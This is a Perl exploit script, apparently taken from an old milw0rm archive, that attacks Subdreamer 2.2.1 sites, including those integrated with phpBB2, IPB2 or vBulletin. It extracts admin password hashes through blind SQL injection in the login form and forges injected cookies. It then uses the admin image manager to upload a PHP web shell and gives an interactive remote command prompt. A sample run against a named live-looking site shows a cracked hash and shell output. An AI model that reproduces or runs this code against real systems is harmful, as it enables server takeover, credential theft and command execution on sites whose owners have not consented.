#!/usr/bin/perl
## Subdreamer 2.2.1 command exec exploit
## @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
## supported targets:
## ~ without forum integration
## ~ with phpBB2 integration
## ~ with ipb2 integration
## ~ with vbulletin2 integration
## @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
## based on RST/GHC advisory #35
## http://rst.void.ru/papers/advisory35.txt
## @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
## (c)oded by 1dt.w0lf - 19/09/2005
## RST/GHC
## http://rst.void.ru
## http://ghc.ru
## @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
## work:
## @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
## r57subdreamer.pl -p http://subdreamer.com.ru/ -u 2 -t 1
## ------------------------------------------------------------------
## [~] PATH : http://subdreamer.com.ru/
## [~] USER : 2
## [~] TARGET : 1 - PhpBB2
## [1] STEP 1 : TRY GET USER PASSWORD
## [~] SEARCHING PASSWORD ... [ DONE ]
## -----------------------------------------------------------
## USER_ID: 2
## PASS: 26310e438a5a1fb8622738f1e5d34f8b
## -----------------------------------------------------------
## [2] STEP 2 : CHECK WHAT USER HAVE ACCESS TO ADMIN ZONE
## [+] DONE! THIS USER HAVE ACCESS!
## [3] STEP 3 : UPLOAD FILE
## [+] DONE! FILE "img.php" UPLOADED
## [+] WELL DONE! NOW YOU CAN EXECUTE COMMANDS! =)
## SUBDREAMER# id; uname -a; ls -la;
## ----------------------------------------------------------------
## uid=1003(apache) gid=1003(apache) groups=1003(apache)
## FreeBSD customer-3314.cit-network.net 5.3-RELEASE FreeBSD 5.3-RELEASE #0:
## Fri Nov 5 04:19:18 UTC 2004 root@harlow.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC i386
## total 24
## drwxrwxrwx 5 enshteyn apache 512 Sep 19 23:04 .
## drwxr-x--- 10 enshteyn apache 512 Sep 17 21:03 ..
## drwxr-xr-x 2 enshteyn apache 512 Sep 10 14:09 Image
## -rw-r--r-- 1 apache apache 48 Sep 19 23:04 img.php
## drwxrwxrwx 2 enshteyn apache 512 Sep 10 14:09 logos
## drwxrwxrwx 2 enshteyn apache 512 Sep 10 14:09 smilies
## ----------------------------------------------------------------
## SUBDREAMER# exit
## @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
## config
## ------
##
## images folder
$img_folder = 'images';
## or try
##$img_folder = 'images/logos';
##
## end config
use LWP::UserAgent;
use HTTP::Cookies;
use Getopt::Std;
getopts('u:p:h:t:');
$path = $opt_p;
$user = $opt_u;
$hash = $opt_h;
$target = $opt_t || 0;
$s_num = 1;
$|++;
$n = 0;
@targets = (
#['target name','colimn1 in database','colimn2 in database','cookie name 1','cookie name 2']
['Subdreamer without forum','userid','password','sduserid','sdpassword'],
['PhpBB2','user_id','user_password','phpbb2mysql_data',''],
['IPB2','id','member_login_key','member_id','pass_hash'],
['PhpBB2 cookie injection','','','phpbb2mysql_data',''],
['IPB2 cookie injection','id','','member_id','pass_hash'],
['Vbulletin cookie injection','userid','','bbuserid','bbpassword'],
);
if (!$path || !$user || $target<0 || $target>5) { &usage; }
&head();
if($path=~/[^\/]$/) { $path .= '/'; }
print "[~] PATH : $path\r\n";
print "[~] USER : $user\r\n";
print "[~] TARGET : $target - $targets[$target][0]\r\n";
if($target==1||$target==2||$target==0) {
print "[1] STEP 1 : TRY GET USER PASSWORD\r\n";
if(!$hash){
print "[~] SEARCHING PASSWORD ... [|]";
FIND: while(1)
{
if(&found(47,58)==0) { &found(96,103); }
$char = $i;
if ($char=="0")
{
if(length($allchar) > 0){
print qq{\b\b DONE ]
-----------------------------------------------------------
USER_ID: $user
PASS: $allchar
-----------------------------------------------------------
};
last FIND;
}
else
{
print "\b\b FAILED ]";
}
exit();
}
else
{
$allchar .= chr($char);
}
$s_num++;
}
}
else
{
print "[~] SKIP. HASH EXISTS\r\n";
$allchar = $hash;
}
}
print "[2] STEP 2 : CHECK WHAT USER HAVE ACCESS TO ADMIN ZONE\r\n";
if(&check_admin_rights())
{
print "[+] DONE! THIS USER HAVE ACCESS!\r\n";
}
else
{
print "[-] DAMN! THIS USER NOT ADMIN =(\r\n";
exit();
}
print "[3] STEP 3 : UPLOAD FILE\r\n";
if(&upload_file())
{
print "[+] DONE! FILE \"img.php\" UPLOADED\r\n";
}
else
{
print "[-] DAMN! UPLOAD ERROR =(\r\n";
exit();
}
print "[+] WELL DONE! NOW YOU CAN EXECUTE COMMANDS! =)\r\n";
while ()
{
print "SUBDREAMER# ";
while(<STDIN>)
{
$cmd=$_;
chomp($cmd);
exit() if ($cmd eq 'exit');
last;
}
&run($cmd);
}
sub found($$)
{
my $fmin = $_[0];
my $fmax = $_[1];
if (($fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; }
$r = int($fmax - ($fmax-$fmin)/2);
$check = " BETWEEN $r AND $fmax";
if ( &check($check) ) { &found($r,$fmax); }
else { &found($fmin,$r); }
}
sub crack($$)
{
my $cmin = $_[0];
my $cmax = $_[1];
$i = $cmin;
while ($i<$cmax)
{
$crcheck = "=$i";
if ( &check($crcheck) ) { return $i; }
$i++;
}
$i = 0;
return $i;
}
sub check($)
{
$n++;
status();
$ccheck = $_[0];
$username = "no_such_user' OR (".$targets[$target][1]."=".$user." AND (ascii(substring(".$targets[$target][2].",".$s_num.",1))".$ccheck.")) /*";
$xpl = LWP::UserAgent->new() or die;
$res = $xpl->post($path.'index.php',
{
"loginusername" => $username,
"loginpassword" => "nap0Jlb_Haxep",
"login" => "login",
"Submit now" => "Login"
}
);
@results = $res->content;
foreach $result(@results)
{
if ($result =~ /(Database error)|(Invalid SQL)/i)
{
print "\r\n[-] SQL SYNTAX ERROR! CHECK TARGET!\r\n";
exit();
}
#print $result;
# english pattern
if ($result =~ /Wrong Password/) { return 1; }
# russian pattern
if ($result =~ /...... ......./) { return 1; }
# russian pattern 2
if ($result =~ /............ ....../) { return 1; }
# russian pattern 3 ( KOI8-R tested on subdreamer.com.ru )
if ($result =~ /...... ......./) { return 1; }
}
return 0;
}
sub status()
{
$status = $n % 5;
if($status==0){ print "\b\b/]"; }
if($status==1){ print "\b\b-]"; }
if($status==2){ print "\b\b\\]"; }
if($status==3){ print "\b\b|]"; }
}
sub check_admin_rights()
{
$xpl = LWP::UserAgent->new() or die;
$cookie_jar = HTTP::Cookies->new( );
$xpl->cookie_jar( $cookie_jar );
($host = $path) =~ s!http://([^/]*).*!$1!;
if($target == 1)
{
# not default phpbb2 cookie, work for subdreamer.com.ru ... maybe default for subdreamer pro RU ???
#$cookie_jar->set_cookie( "0",$targets[$target][3], 'autologinid='.$allchar.'|userid='.$user,"/",$host,,,,,);
# default phpbb2 cookie
$cookie_jar->set_cookie( "0",$targets[$target][3],"a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A32%3A%22".$allchar."%22%3Bs%3A6%3A%22userid%22%3Bs%3A".length($user)."%3A%22".$user."%22%3B%7D","/",$host,,,,,);
}
elsif($target == 3)
{
# phpbb2 cookie with sql injection
$cookie_jar->set_cookie( "0",$targets[$target][3],"a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A3%3A%22666%22%3Bs%3A6%3A%22userid%22%3Bs%3A".(length($user)+4)."%3A%22".$user."%27+%2F%2A%22%3B%7D","/",$host,,,,,);
}
elsif($target == 4)
{
# ipb2 cookie with sql injection
$cookie_jar->set_cookie( "0",$targets[$target][3],"666\\","/",$host,,,,,);
$cookie_jar->set_cookie( "1",$targets[$target][4],"/**/OR/**/".$targets[$target][2]."=".$user."","/",$host,,,,,);
}
elsif($target == 5)
{
# Vbulletin cookie with sql injection
$cookie_jar->set_cookie( "0",$targets[$target][3],"666\\","/",$host,,,,,);
$cookie_jar->set_cookie( "1",$targets[$target][4],"/**/OR/**/".$targets[$target][2]."=".$user."","/",$host,,,,,);
}
else
{
# subdreamer || ipb2 cookies
$cookie_jar->set_cookie( "0",$targets[$target][3], $user,"/",$host,,,,,);
$cookie_jar->set_cookie( "1",$targets[$target][4], $allchar,"/",$host,,,,,);
}
$res = $xpl->get($path."admin/index.php");
if($res->content =~ /loginpassword/) { return 0; }
else { return 1; }
}
sub upload_file()
{
$xpl = LWP::UserAgent->new() or die;
$cookie_jar = HTTP::Cookies->new( );
$xpl->cookie_jar( $cookie_jar );
($host = $path) =~ s!http://([^/]*).*!$1!;
if($target == 1)
{
# not default phpbb2 cookie, work for subdreamer.com.ru ... maybe default for subdreamer pro RU ???
#$cookie_jar->set_cookie( "0",$targets[$target][3], 'autologinid='.$allchar.'|userid='.$user,"/",$host,,,,,);
# default phpbb2 cookie
$cookie_jar->set_cookie( "0",$targets[$target][3],"a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A32%3A%22".$allchar."%22%3Bs%3A6%3A%22userid%22%3Bs%3A".length($user)."%3A%22".$user."%22%3B%7D","/",$host,,,,,);
}
elsif($target == 3)
{
# phpbb2 cookie with sql injection
$cookie_jar->set_cookie( "0",$targets[$target][3],"a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A3%3A%22666%22%3Bs%3A6%3A%22userid%22%3Bs%3A".(length($user)+4)."%3A%22".$user."%27+%2F%2A%22%3B%7D","/",$host,,,,,);
}
elsif($target == 4)
{
# ipb2 cookie with sql injection
$cookie_jar->set_cookie( "0",$targets[$target][3],"666\\","/",$host,,,,,);
$cookie_jar->set_cookie( "1",$targets[$target][4],"/**/OR/**/".$targets[$target][2]."=".$user."","/",$host,,,,,);
}
elsif($target == 5)
{
# Vbulletin cookie with sql injection
$cookie_jar->set_cookie( "0",$targets[$target][3],"666\\","/",$host,,,,,);
$cookie_jar->set_cookie( "1",$targets[$target][4],"/**/OR/**/".$targets[$target][2]."=".$user."","/",$host,,,,,);
}
else
{
# subdreamer || ipb2 cookies
$cookie_jar->set_cookie( "0",$targets[$target][3], $user,"/",$host,,,,,);
$cookie_jar->set_cookie( "1",$targets[$target][4], $allchar,"/",$host,,,,,);
}
$res = $xpl->post($path.'admin/imagemanager.php',Content_Type => 'form-data',
Content => [
'action' => 'uploadimage',
'folderpath' => "../$img_folder/",
'MAX_FILE_SIZE' => '1000000',
'image' => [
undef,
'img.php',
Content_type => 'text/plain',
Content => '<? if($_POST[cmd]) { passthru($_POST[cmd]); } ?>',
],
'submit' => 'Upload Image',
],
);
if($res->content =~ /Settings Updated/) { return 1; }
if($res->content =~ /Uploading Errors/) { return 0; }
else { return 1; }
}
sub run()
{
$xpl = LWP::UserAgent->new() or die;
$res = $xpl->post($path.$img_folder.'/img.php',{'cmd'=>$cmd});
print "----------------------------------------------------------------\r\n";
print $res->content;
print "----------------------------------------------------------------\r\n";
}
sub usage()
{
&head();
print q(| |
| - Usage: |
| r57subdreamer.pl -p <path> -u <user_id> [-t <target>] [-h <hash>] |
| <path> - Path to subdreamer folder |
| <user_id> - User id for bruteforce |
| <hash> - MD5 password hash for this user if you have it =\) |
| - Available targets: |
| - brute password: |
| 0 - Subdreamer without forum integration ( default ) |
| 1 - Subdreamer with PhpBB2 integration |
| 2 - Subdreamer with IPB2 integration |
| - cookie sql injection, dont need brute password: |
| 3 - Subdreamer with PhpBB2 integration 2 |
| 4 - Subdreamer with IPB2 integration 2 |
| 5 - Subdreamer with Vbulletin integration |
+--------------------------------------------------------------------+
| e.g.: |
| r57subdreamer.pl -p http://127.0.0.1/subdreamer/ -u 1 |
| r57subdreamer.pl -p http://www.subdreamer.com.ru -u 2 -t 1 |
+--------------------------------------------------------------------+
| visit us: http://rst.void.ru , http://ghc.ru |
+--------------------------------------------------------------------+
);
exit();
}
sub head()
{
print q(
+--------------------------------------------------------------------+
| Subdreamer version 2.2.1 sql injection + command execution exploit |
| by 1dt.w0lf |
| RST/GHC |
+--------------------------------------------------------------------+
);}
# milw0rm.com [2005-10-31]
